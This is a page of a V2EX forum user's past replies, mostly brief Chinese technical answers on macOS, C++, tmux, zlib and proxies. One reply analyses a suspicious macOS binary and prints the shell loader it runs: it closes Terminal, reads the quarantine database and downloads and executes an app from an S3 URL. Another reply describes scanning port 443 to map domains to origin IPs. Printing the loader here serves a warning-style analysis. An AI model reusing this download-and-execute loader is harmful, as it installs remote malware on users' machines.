V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  lcdtyph  ›  全部回复第 22 页 / 共 51 页
回复总数  1020
1 ... 18  19  20  21  22  23  24  25  26  27 ... 51  
2020-12-09 13:59:50 +08:00
回复了 keroppi 创建的主题 MacBook Pro M1 运行不了 Navicat ,各位也是这样吗?
Navicat 12.0.22 正常
2020-12-07 19:12:41 +08:00
回复了 ddgweb 创建的主题 分享发现 第一次知道 https 会暴露服务器 ip
@julyclyde
扫描一遍 ip 段就可以得到一个域名-ip 的多值映射表。然后以后想查某个域名对应的源站 ip 查这个表就行了
2020-12-07 19:09:20 +08:00
回复了 ddgweb 创建的主题 分享发现 第一次知道 https 会暴露服务器 ip
@julyclyde
扫各大机房 ip 的 443 端口就好了,发送 clienthello,对方回复的 serverhello 中有 ssl 证书,证书里的 common name 有域名信息。这样就知道了这个 ip 的域名
2020-12-04 21:41:03 +08:00
回复了 black11black 创建的主题 问与答 C++ STL 中查找速度最快的是什么数据结构?
unordered_map
2020-11-29 02:44:53 +08:00
回复了 des 创建的主题 分享发现 virmach 黑五这图也太搞了吧
我前年黑五买了个 5 刀传家宝
2020-11-25 17:29:10 +08:00
回复了 wutiantong 创建的主题 C++ 一个 msvc 与 gcc/clang 不一致的例子,哪边是对的?
@wutiantong
我对标准了解的不深,说不上哪边是对的…我也没有 msvc 环境,上面的修改是根据经验改的😂

不过从你描述的现象来看,msvc 需要触发 unit 的实例化才能输出期望的结果。
2020-11-25 16:14:11 +08:00
回复了 wutiantong 创建的主题 C++ 一个 msvc 与 gcc/clang 不一致的例子,哪边是对的?
static constexpr value_type unit_val() noexcept { return 10; }
2020-11-24 12:23:54 +08:00
回复了 FaiChou 创建的主题 iDev iOS 可以几行代码绕过系统代理, 为什么大家都不这么做?
实际上 qx surge 等软件有两种代理方式,一种是开在本地的 http 代理,即你说的可以 bypass 的方式

第二种是虚拟出来的 utun 网络设备,这个网络设备的 handler 中有一套自己的 tcp/ip 协议栈来处理应用过来的连接,自然也可以对这个连接的内容识别和修改。比如 surge 有个选项是 perform on tcp connection 就是你这种方式无法绕过的
2020-11-23 20:54:40 +08:00
回复了 HHPLow 创建的主题 C 偷懒是人类进步的阶梯,请问大佬们 C 如何运行时生成函数指针
我觉得你连需求都没描述清楚……

盲建议个跳转表吧
2020-11-19 19:02:28 +08:00
回复了 tomychen 创建的主题 Linux 各位用 tmux 是习惯默认的 C-b 呢,还是自定义到其他键
@SvenKim
vim 里 :set mouse= 可以禁用鼠标
你可以看一下两个环境是谁改了这个选项
2020-11-19 14:45:28 +08:00
回复了 tomychen 创建的主题 Linux 各位用 tmux 是习惯默认的 C-b 呢,还是自定义到其他键
用了 C-\
感觉是冲突概率比较小的组合了
2020-11-11 03:07:17 +08:00
回复了 Zhuzhuchenyan 创建的主题 Apple 有点激动 mac mini, macbook air, macbook pro 13
pro 的续航时间真的很诱人啊
2020-11-07 19:03:40 +08:00
回复了 VHacker1989 创建的主题 English 关于英文单词 foo 到底是什么意思
placeholder,简单来说当你不知道取个什么名字,而且名字不重要的时候就可以用 foo,bar,foobar 来占位

就类似指代人名时候的张三、李四
dlopen
2020-11-05 21:20:33 +08:00
回复了 Kingfish404 创建的主题 问与答 Mac 的 PATH 变量中有个找不到在哪里添加的路径怎么办?
@Kingfish404 #8
```zsh -o SOURCE_TRACE```
2020-11-05 21:11:42 +08:00
回复了 Kingfish404 创建的主题 问与答 Mac 的 PATH 变量中有个找不到在哪里添加的路径怎么办?
~/.zprofile
~/.zshrc
这些呢
2020-11-05 20:26:28 +08:00
回复了 Kingfish404 创建的主题 问与答 Mac 的 PATH 变量中有个找不到在哪里添加的路径怎么办?
检查一下 /etc/paths.d/下的所有文件
2020-11-05 01:10:11 +08:00
回复了 wingkou 创建的主题 Python zlib compress 后 decompress 得不到原来的内容( Python 3.8)
(de)compressobj()返回的对象是有状态的,主要用来处理流数据,在输入结束之后要调用 obj.flush() 来接收最后一段输出

如果是一次性压缩解压可以直接调用 zlib.compress 。如果一定要用(de)compressobj 可以这样:
cobj = zlib.compressobj()
dobj = zlib.decmpressobj()

data2 = cobj.compress(data1)
data2 += cobj.flush()

data3 = dobj.decompress(data2)
data3 += dobj.flush()
看了一眼,这个 binary 又执行了下面这个 shell 脚本:

```bash
temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
extract_did() {
local -r url="$(where_from_url)"
local query="${url#*\?}"
local did_find=0
for param in ${query//[=&]/ }; do
((did_find == 1)) && echo "${param}" && break
[ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
done
}
close_terminal() { killall "Terminal"; }
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
}
unarchive() {
local -r tgz_path="${1}"
[ -z "${tgz_path}" ] && return
local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
rm -rf "${tgz_path}"
}
app_path() {
local -r app_dir="${1}"
[ -z "${app_dir}" ] && return
local -r app_paths=("${app_dir}"/?*.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
[ -z "${app_path}" ] && return
local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
local -r binary_path="${binary_paths[0]}"
echo "${binary_path}"
}
exec_bin() {
local -r bin_path="${1}"
local -r did="${2}"
local -r app_path="${3}"
[ -z "${bin_path}" ] && return
"${bin_path}" -did "${did}"
}

main() {
local -r url="${1}"
close_terminal
local -r did="$(extract_did)"
[ -z "${did}" ] && return
local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
local -r arch_path="$(download "${url}" "${tmp_dir}")"
local -r app_dir="$(unarchive "${arch_path}")"
local -r app_path="$(app_path "${app_dir}")"
local -r bin_path="$(bin_path "${app_path}")"
exec_bin "${bin_path}" "${did}" "${app_path}"
rm -rf "${tmp_dir}"
}

main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
```

会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行
1 ... 18  19  20  21  22  23  24  25  26  27 ... 51  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1585 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 32ms · UTC 17:02 · PVG 01:02 · LAX 09:02 · JFK 12:02
Developed with CodeLauncher
♥ Do have faith in what you're doing.